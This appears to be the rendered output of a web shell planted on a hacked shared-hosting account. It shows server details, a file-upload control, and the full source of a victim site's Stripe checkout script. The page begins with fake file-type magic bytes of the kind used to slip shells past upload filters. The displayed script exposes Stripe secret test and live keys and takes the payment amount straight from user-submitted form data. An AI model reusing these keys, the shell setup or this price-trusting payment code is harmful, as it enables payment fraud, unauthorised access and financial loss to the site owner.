%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64
User : ndkhermy ( 1200)
PHP Version : 8.5.12
Disable Function : NONE
Directory :  /home1/ndkhermy/www/website_93b53270/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home1/ndkhermy/www/website_93b53270/create-checkout-session.php
<?php 
include 'function.php';
require 'vendor/autoload.php';

$stripe = new \Stripe\StripeClient('sk_test_51RFZdPI57IBHDEDrnm5ApwntiLpcSGQ6Gq2pmWuydeYCAyJ0xAoE24l9MreujHEgcxW4hImNScbxaD6c9ERNIO1K00XE8kGLTi');
// $stripe = new \Stripe\StripeClient('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');

$currencyType = 'aed';
$grndTotalAed = str_replace("'", "\'", $_POST['grndTotalAed']);
$CarPickup = str_replace("'", "\'", $_POST['radio4']);
$CarDrop = str_replace("'", "\'", $_POST['radio1']);
$instant = str_replace("'", "\'", $_POST['instant']);
$date = str_replace("'", "\'", $_POST['radio5']);
$time = str_replace("'", "\'", $_POST['radio6']);
$name = str_replace("'", "\'", $_POST['name']);
$phonecode = str_replace("'", "\'", $_POST['phonecode']);
$phone = str_replace("'", "\'", $_POST['phone']);
$email = str_replace("'", "\'", $_POST['email']);
$country = str_replace("'", "\'", $_POST['country']);
$state = str_replace("'", "\'", $_POST['state']);
$city = str_replace("'", "\'", $_POST['city']);
$postcode = str_replace("'", "\'", $_POST['postcode']);
$address = str_replace("'", "\'", $_POST['address']);
$minor_charg = str_replace("'", "\'", $_POST['minor_charg']);
$labor_charg = str_replace("'", "\'", $_POST['labor_charg']);
$vat_value = str_replace("'", "\'", $_POST['vat_value']);
$monthyearinput = str_replace("'", "\'", $_POST['monthyearinput']);
$final_amount = 100 * $grndTotalAed; 

$_SESSION['cart_value']= array('grndTotalAed'=> $grndTotalAed, 'CarPickup'=> $CarPickup, 'CarDrop'=> $CarDrop, 'instant'=> $instant, 'date'=> $date, 'time'=> $time, 'name'=> $name, 'phonecode'=> $phonecode, 'phone'=> $phone, 'email'=> $email, 'country'=> $country, 'state'=> $state, 'city'=> $city, 'postcode'=> $postcode, 'address'=> $address, 'minor_charg'=> $minor_charg, 'labor_charg'=> $labor_charg, 'vat_value'=> $vat_value, 'monthyearinput'=> $monthyearinput);

try {
    $checkout_session = $stripe->checkout->sessions->create([
        'payment_method_types' => ['card'],
        'line_items' => [[
            'price_data' => [
                'currency' => $currencyType,
                'product_data' => [
                    'name' => $website_name,
                ],
                'unit_amount' => $final_amount,
            ],
            'quantity' => 1,
        ]],
        'mode' => 'payment',
        'success_url' => $base_url . 'thanks?txn_id={CHECKOUT_SESSION_ID}',
        'cancel_url'  => $base_url . 'failed?txn_id={CHECKOUT_SESSION_ID}',
    ]);

    header("HTTP/1.1 303 See Other");
    header("Location: " . $checkout_session->url);
    exit;
} catch (Exception $e) {
    echo 'Error: ' . $e->getMessage();
}
?>

VaKeR 2022